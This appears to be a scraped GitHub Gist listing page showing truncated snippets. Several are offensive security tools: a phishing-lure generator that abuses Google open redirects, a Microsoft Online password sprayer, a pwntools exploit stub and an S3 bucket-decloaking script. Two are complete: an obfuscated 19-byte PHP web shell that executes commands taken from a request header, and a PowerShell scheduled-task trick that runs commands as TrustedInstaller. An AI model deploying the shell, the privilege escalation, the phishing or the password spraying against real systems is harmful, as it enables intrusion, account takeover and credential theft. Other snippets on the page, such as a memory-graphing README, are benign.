Skip to content

Instantly share code, notes, and snippets.

@ustayready
ustayready / google_lure.py
Last active July 16, 2025 12:59
Generate phishing lures that exploit open-redirects from www.google.com using Google Docs
from __future__ import print_function
import pickle
import os.path
from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from google.auth.transport.requests import Request
from apiclient import errors
import re
from bs4 import BeautifulSoup as Soup
@byt3bl33d3r
byt3bl33d3r / msol_spray.py
Last active October 20, 2025 03:02
Fully async python port of @dafthacks MSOLSpray (https://github.com/dafthack/MSOLSpray)
#! /usr/bin/env python3
#
# Requires Python 3.7+ & aiohttp (speedups recommended)
# pip3 install aiohttp[speedups]
#
import sys
import asyncio
import aiohttp
@psifertex
psifertex / README.md
Last active January 7, 2025 19:48
quick and dirty live graphing of memory usage

Quick Raw Data Graph

With thanks to willpatera for the google apps script this is based on.

Instructions:

  1. Make a new google sheet (add column headers like "uss", "rss" or "vss" as posted in log-memory.py as appropriate)
  2. Tools / Script Editor
  3. Paste google code.js into the window
  4. Run / Setup (Authorize the app)
@forensicmatt
forensicmatt / uninstall-all-python-things.ps1
Created April 8, 2020 01:19
Uninstall ALL Python Things
Get-WmiObject -Query "SELECT * FROM Win32_Product WHERE Name LIKE '%Python%'" | ForEach-Object { $_.Uninstall() }
@forensicmatt
forensicmatt / install-l2tbinaries-win64.py
Created April 8, 2020 02:51
Install all the win64 executables in the l2tbinaries github folder
import os
import requests
import tempfile
import subprocess
import json
def main():
win64_request = requests.get("https://api.github.com/repos/log2timeline/l2tbinaries/contents/win64")
contents = json.loads(win64_request.text)
@farzinenddo
farzinenddo / ScheduledTask.ps1
Created May 6, 2020 21:54
Using COM Object for running task under "NT SERVICE\TrustedInstaller" Token
$task = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c calc"
Register-ScheduledTask -TaskName "TestMe" -Action $task
$com.Connect()
$user = "NT SERVICE\TrustedInstaller"
$folder = $com.GetFolder('\')
$t = $folder.GetTask('TestMe')
$t.RunEx($null,0,0,$user)
@terjanq
terjanq / rev_shell.php
Last active December 27, 2024 14:54
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
from pwn import *
# some helper functions
def deco(x):
return int.from_bytes(x, byteorder='little')
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
@jhaddix
jhaddix / bucket-disclose.sh
Created July 22, 2020 17:49 — forked from fransr/bucket-disclose.sh
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
@xdavidhu
xdavidhu / httpsserver.py
Last active August 27, 2025 03:46
httpsserver.py
#! /usr/bin/python3
import http.server, ssl, sys, random, string, argparse, socket
hostname = "[domain]"
redirect_enabled = False
redirect_target = ""
redirect_token = ""
manual_redirect_token = False
redirect_code = 303